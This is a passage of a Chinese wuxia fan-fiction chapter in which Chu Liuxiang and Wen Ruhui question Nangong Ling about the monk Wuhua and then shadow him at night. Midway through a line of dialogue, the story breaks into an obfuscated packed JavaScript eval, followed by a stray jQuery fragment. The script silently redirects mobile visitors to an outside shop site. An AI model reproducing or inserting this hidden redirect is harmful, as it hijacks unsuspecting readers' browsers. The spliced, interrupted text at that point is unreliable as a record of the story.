二人安静等候,约莫半个时辰,院外传来一阵轻缓脚步声,南宫灵如约而至。
这并非温如晦初次同南宫灵相见,楚留香更是与这位丐帮少帮主早有交情。
只见那南宫灵生得一副长身玉立的模样,眉目俊朗,身形挺拔,明明年纪尚轻,一言一行间却沉稳威仪,丝毫不见少年人的浮躁轻佻。
他刚跨过门槛,目光扫过屋内二人,眉宇间掠过一丝微不可察的怔忡,显然没料到锦衣卫指挥使温如晦竟会与楚留香一同在此等候。
转瞬之后,他便收敛那点意外,面上漾开得体温和的笑意,先朝着楚留香拱手一揖,语气热情:“楚兄远道前来寻我,我事先半点风声都未曾听闻,反倒劳你在此久坐等候,实在是我礼数不周。”
话音落,他侧过身,视线落向一旁静坐不语的温如晦,笑意不改,从容拱手行礼:“温兄,许久未曾碰面,今日得见,失敬失敬。”
温如晦抬眼淡淡颔首,没有多余寒暄,只简单应了一声,便顺着二人的动作一同落座在竹案旁的竹椅上。
楚留香端起南宫灵亲手斟好的清茶,指尖摩挲着粗陶杯壁,心底藏着一层淡淡的疑惑。
他暗自思忖,温如晦身为朝廷锦衣卫指挥使,本该与江湖各门各派泾渭分明,却偏偏既和神水宫有牵扯,又似乎与丐帮少帮主南宫灵相熟。
温如晦虽以武力闻名天下,更是因此闻名江湖。可楚留香与他相处多日,深知此人本性清冷寡淡,从不是热衷四处攀附、左右逢源、广结人脉的性子。
只是眼下楚留香无暇分心深究,转瞬便压下心中杂念,放下手中茶盏,正色向南宫灵道明此番登门的来意。
温如晦静坐一侧,一语不发,目光不动声色地落在南宫灵身上。
他精于刑讯,常年执掌诏狱,因而此时能够很快察觉到南宫灵神态上一些勉强之处。
方才南宫灵初见二人那一瞬短暂的错愕,方才寒暄时笑意底下几分紧绷的不自然,尽数被他尽收眼底,心中已然了然,面上却依旧波澜不惊。
楚留香察觉到温如晦的动作,却并未在意,只将无花无端背负盗窃天一神水罪名、被锦衣卫羁押诏狱一事原原本本和盘托出,只盼能从南宫灵口中问出当日二人相见的实情。
待他话音落定,南宫灵沉吟片刻,缓缓开口作答,语气听来平和如常:“那日无花大师的确专程来寻过我。彼时我父亲卧病在床,身子一日弱过一日,大师云游途中偶然寻得一味珍稀良药,特意送来,还留在院中为我父亲诵经祈福,说到底不过是佛门心怀慈悲、博爱众生的善举。”
听闻这番缘由,楚留香眉眼稍稍舒展,神色动容,低声叹道:“原来当日相见竟是这般缘由。”
南宫灵轻轻颔首,可下一瞬眉头紧锁,目光直直投向身侧默然端坐的温如晦,语气里添了几分诧异与不解:“那日之后便再无音讯往来,万万不曾料到,无花大师竟会因此事遭到官府怀疑,甚至被收押进诏狱之中?”
说这话时,他眼底掠过一丝不易察觉的慌乱,虽转瞬便被惊诧遮掩,却依旧没能躲过温如晦始终落在他身上、分毫未松的审视目光。
温如晦看向南宫灵,缓缓开口出声。他并未提及此前无花在诏狱之中亲口供述的所有隐情,只是陈述道:“无花自踏入顺天府,私下所见的第一人,便是少帮主你。”
他语速不急不缓,继续道:“羁押诏狱以来,他供词寥寥,除却默认行踪之外,再未提及其他细节。此案眼下疑点重重,线索断裂无迹,香帅一心想要为友人洗刷冤屈,寻得翻案证据,便只能多方求证。”
话音落下,温如晦余光极轻地侧扫了身侧的楚留香一眼。
这一眼极淡极轻,暗藏深意,没有半分明示。然而楚留香极其机敏,瞬间了然温如晦的用意。
他顺着温如晦的话头,从容接下话语:“温兄所言极是,在下想要查明真相,便只能逐一求证,自然不敢放过半分细节。”
南宫灵面上依旧维持着正常的神色,心底却悄然松了口气。
屋内一时陷入短暂的静默。
这般无声的沉默,恰好合了南宫灵的心意。他本就无心久留,此刻见二人不再深究当日相见内情,心中已然生送客之意。
他微微欠身,语气恰到好处:“原来案情竟是这般,无花大师无辜蒙冤,实在令人唏嘘。我当日与大师相见,所见所闻并无半分异常,能告知二位的,尽数在此了。若后续还有需要求证之处,二位尽可再传信于我,只是家父病重,帮中事物繁忙,片刻也是离不得,因而不便久留,还请不要见怪。”
楚留香只是表示理解。言罢,南宫灵便从容起身,微微拱手作别。
看着南宫灵的身影彻底消失在小径尽头,彻底远去,楚留香当即也下意识起身,准备与温如晦一同离开此地。
可他脚步刚动,身侧一直静立不动的温如晦却忽然抬手,轻轻虚拦一瞬,稳稳止住了他。
院内风声簌簌,温如晦抬眸,目光望向南宫灵离去的方向,随即侧头看向身侧的楚留香,低声开口:“香帅素来聪慧机敏,洞察人心,方才听他所言,你当真觉得,句句属实、全无破绽?”
楚留香身形微顿,凝望着空空荡荡的小径,眸底的笑意尽数褪去,取而代之的是几分深沉的思忖与凝重。
许久之后,他才缓缓轻叹一口气,语气带着几分无奈:“温兄果然看透我心。我方才便觉南宫灵神情举止有些蹊跷,只是却并无实证。”
他抬眼望向温如晦,眼底带着探寻,坦然问道:“不知温兄慧眼观之,此事真假几何?我们接下来,又该如何行事?”
其实以楚留香的心思缜密,在心底早已隐隐有了追查与求证的计划,只是方才与温如晦默契相通,他已然察觉,眼前之人所想,必然与自己不谋而合。
温如晦垂眸,答道:“我们费尽周折方才踏入丐帮,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17805915|210721||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
岂能就此轻易离去?”
话音落,他抬步转身:“跟我来。”
语毕,温如晦已走到院中,足尖轻点地面,身形轻盈如羽,借力一跃,悄无声息掠上房顶之上。
楚留香见状心领神会,当即紧随其后,亦是轻巧翻身上去。二人稳稳伏在屋顶,视野开阔,恰好能遥遥望见南宫灵离去的方向,又接着死角隐匿身形,绝不会被下方任何人察觉。
二人屏息凝神,远远尾随。
南宫灵一路穿过青石小径,途经数处丐帮弟子值守的院落,去往自己专属的居所院落。
他全程神色坦然,不曾回头,全然不知身后已然被二人悄然追踪。
一路遥遥跟随,二人始终与他保持着极远的距离,借草木、房舍层层遮掩,隐匿无形。
不多时,南宫灵径直走入自身居所。此处相较于鲁有脚的清简竹屋,更为精致幽静,院墙高耸,花木环绕,寻常弟子根本不会随意靠近。
推门而入之后,南宫灵反手轻轻合上房门,自此再也没有踏出房间半步。
院落内外瞬间归于寂静,二人依旧伏在远处高房梁的阴影之中,耐心蛰伏,静静观望。
时光缓缓流逝,日头西沉,暮色层层浸染天地,落日余晖褪去,夜幕彻底笼罩整座丐帮总舵。
夜色渐深,周遭值守的丐帮弟子已然换了两拨。院内灯火次第亮起,暖黄烛火透过窗纸,映出屋内安静沉寂的轮廓。
整整数个时辰,从黄昏直至夜深,南宫灵所在的房间门窗紧闭,内里寂静无声,除却房中亮起灯火之外,自始至终没有半点异动,也不见南宫灵推门而出。
就在万籁俱寂之时,一道细碎轻巧的脚步声,终于从院落外缓缓传来。
是一名身着粗布麻衣、看似普通的扫地乞儿,手中端着一盏热茶,步履轻缓,熟门熟路地穿过院门,径直走到南宫灵紧闭的房门前。
房内无人开门,那人抬手轻轻叩了三下房门,下一瞬,紧闭的房门从内部轻轻拉开一道缝隙,恰好容一人侧身而入。
那端茶之人躬身低头,快步踏入房中,房门随即再次严丝合缝合拢。
房内烛火轻轻晃动一瞬,很快又归于平稳。
一直隐匿在远处高处、静静蛰伏观望的温如晦,见此情景,当即微微偏头,低声示意身侧的楚留香。
二人极有默契,借着夜色与花木暗影的层层掩护,悄无声息改换隐匿点位。
几个起落轻掠,身形飘忽无痕,二人已然悄然转移至南宫灵居所隔壁的高檐暗处。
此处位置绝佳,居高临下,视野通透,既能窥见屋内人影晃动的轮廓,又能不被旁人所发觉。
南宫灵此时已放下文书,从手旁缓缓拿起茶杯,准备饮下方才端上来的热茶,岂料无声无息之下,一道暗光自窗外闪开,虎口一震,原本稳稳握在手中的瓷杯已化作齑粉。
热水洒在身上,他这才如梦初醒。